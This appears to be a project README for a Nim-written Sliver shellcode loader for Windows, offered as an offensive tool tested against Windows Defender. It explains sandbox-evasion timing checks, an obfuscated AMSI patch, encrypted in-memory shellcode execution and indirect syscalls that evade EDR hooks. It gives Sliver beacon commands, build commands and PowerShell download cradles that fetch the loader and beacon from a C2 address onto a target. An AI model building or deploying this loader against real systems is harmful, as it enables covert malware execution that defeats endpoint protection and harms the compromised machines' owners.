A Sliver shellcode loader written in Nim targeting Windows x64. Two variants covering the two most common delivery situations. Tested against Windows Defender with real-time protection enabled.
Reads an encrypted shellcode blob from disk, decrypts it in memory, and self-injects. Use this when you already have a file drop primitive and want a small, simple binary.
loader.exe <shellcode.bin> [key_hex iv_hex]
Key and IV are optional. If omitted, the file is treated as raw unencrypted shellcode.
Downloads the encrypted blob from your C2 over HTTP using the Windows WinHTTP stack, decrypts it in memory, and self-injects. No file ever touches disk. Use this when you can execute a binary on the target but cannot reliably drop a second file.
Edit the constants at the top of stageless/loader.nim before compiling:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.pyThe stageless loader calls Sleep(5000) on startup and measures actual elapsed time with GetTickCount64. If less than 4500ms passed, the process exits. Most automated sandbox environments fast-forward or skip sleeps, causing the check to fail. This runs before any network activity or shellcode execution so sandboxes that inspect network behaviour see nothing.
amsi.nim patches AmsiScanBuffer at runtime using two layers of obfuscation:
String hiding via FNV-1a hashing. The string AmsiScanBuffer never appears in the binary. Instead, its FNV-1a hash is computed at compile time and stored as a constant. At runtime the loader walks amsi.dll's export table, hashes each export name, and compares against the stored value to find the function address without ever holding the string in memory.
Compile-time XOR obfuscation. Both the DLL name (amsi.dll) and the patch bytes (xor eax, eax; ret = 31 C0 C3) are XOR-encoded at compile time using a random key generated fresh each build via a Python subprocess. The key is embedded as a constant and the bytes are decoded at runtime immediately before use. The raw bytes change every build, breaking static signatures on the patch sequence.
The patch overwrites the first three bytes of AmsiScanBuffer with xor eax, eax; ret, making every call return AMSI_RESULT_CLEAN regardless of input.
encrypt.py encrypts raw shellcode with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The loader decrypts in-place using the Windows BCrypt API, so no third-party crypto library is needed on the target.
Memory is allocated as PAGE_READWRITE, the shellcode is written into it, and then the region is flipped to PAGE_EXECUTE_READ before execution. Allocating directly as PAGE_EXECUTE_READWRITE is a well-known signature that Defender and EDRs flag explicitly. Separating the write and execute phases avoids that pattern.
stageless/syscalls.nim bypasses both the Win32 API layer (kernel32.dll) and any ntdll.dll userland hooks placed by EDRs.
SSN resolution. At startup the loader gets ntdll's base address and parses its PE export table, collecting every Nt* export sorted by RVA. For each NT function we need, it checks the first four bytes:
4C 8B D1 B8(mov r10, rcx; mov eax, imm32) means the stub is clean and the SSN is read directly from bytes 4-5. This is Hell's Gate.- Anything else means the function prologue has been patched by an EDR hook. In that case the loader walks neighbors in the sorted list until it finds a clean stub, then computes the target SSN as
neighbor_SSN +/- distance. SSNs increment by one per stub in address order. This is Halo's Gate.
Gadget location. The loader scans the first clean Nt* stub it finds for the byte sequence 0F 05 C3 (syscall; ret). This gives an address inside ntdll's image-backed .text section that we can reuse.
Stub generation. For each required function a 22-byte stub is written into a single RW page that is flipped to RX before use:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
The jmp [rip+0] dereferences the 8 bytes immediately following it (the gadget address) and redirects execution into ntdll's existing syscall; ret sequence. The syscall instruction fires from ntdll's .text rather than from our anonymous allocation, defeating any kernel-level tracking of which memory region issued the syscall.
The four functions covered by indirect syscalls are NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and NtWaitForSingleObject.
After decryption, the stageless loader allocates a RW region in its own process via NtAllocateVirtualMemory, copies the shellcode in with copyMem, flips the region to RX via NtProtectVirtualMemory, and spawns a thread via NtCreateThreadEx. The main thread then blocks indefinitely on NtWaitForSingleObject, keeping the process alive while the beacon's goroutines run. All four calls go through the indirect syscall stubs described above.
Self-injection keeps the call surface minimal. There are no cross-process API calls (WriteProcessMemory, CreateRemoteThread, etc.), which are the primary detection vectors for classic remote injection.
- Timing check: sleep 5s, exit if elapsed < 4.5s
- AMSI patch: resolve
AmsiScanBuffervia FNV-1a, overwrite withxor eax, eax; ret - Resolve indirect syscall stubs: parse ntdll exports, find SSNs (Hell's Gate + Halo's Gate), locate
syscall; retgadget, write stubs - Download: WinHTTP GET request, read response body
- Decrypt: AES-256-CBC via BCrypt in place
- Allocate:
NtAllocateVirtualMemoryin own process (RW) via indirect syscall - Copy shellcode into the allocation
- Protect:
NtProtectVirtualMemoryto PAGE_EXECUTE_READ via indirect syscall - Execute:
NtCreateThreadExvia indirect syscall - Wait:
NtWaitForSingleObjecton the thread handle via indirect syscall
- AMSI patch
- Read shellcode file from disk
- Decrypt if key and IV were provided
VirtualAlloc(RW), copy shellcode,VirtualProtectto RX- Execute via function pointer cast
On your Linux build machine:
- Nim + nimble (
nimble install winim) - mingw-w64 (
x86_64-w64-mingw32-gcc) - Python 3 + pycryptodome (
pip install pycryptodome)
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761Edit stageless/loader.nim and set c2Host, c2Port, c2Path, scKey, scIV, then from the project root:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nimAlways compile from the project root so that only the root nim.cfg is loaded. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard system libraries.
Stageless: serve the encrypted blob over HTTP on the port matching c2Port:
cd bins && python3 -m http.server 443Stager: transfer both files to the target:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")Stageless:
loader.exe
Stager with encryption:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager without encryption:
loader.exe shellcode.bin
If delivering via a PowerShell download cradle, AMSI will scan the script before the loader runs. Patch AMSI in your PS session first:
python3 gen_amsi.pyPaste the output into the PS session before downloading or executing anything. The script resolves AmsiScanBuffer by export table hash so the string never appears in plaintext, and all patch bytes are XOR-encoded with a random per-run key.
- Requires Windows 10 / Server 2016+ (Universal CRT)
BCryptSetPropertyfor chaining mode returnsSTATUS_INVALID_PARAMETERbut BCrypt defaults to CBC regardless, decryption works correctly- Indirect syscalls cover only the four injection-critical NT functions. Winsock and BCrypt calls still go through their normal API paths, which is acceptable since those calls are behaviorally benign in isolation
- The
syscallinstruction in the stubs fires from inside ntdll's.textsection (image-backed, Microsoft-signed), not from the stub page, defeating kernel-level syscall origin tracking
You can find more details about Defender Mechanisms, Techniques & Other tools on my blog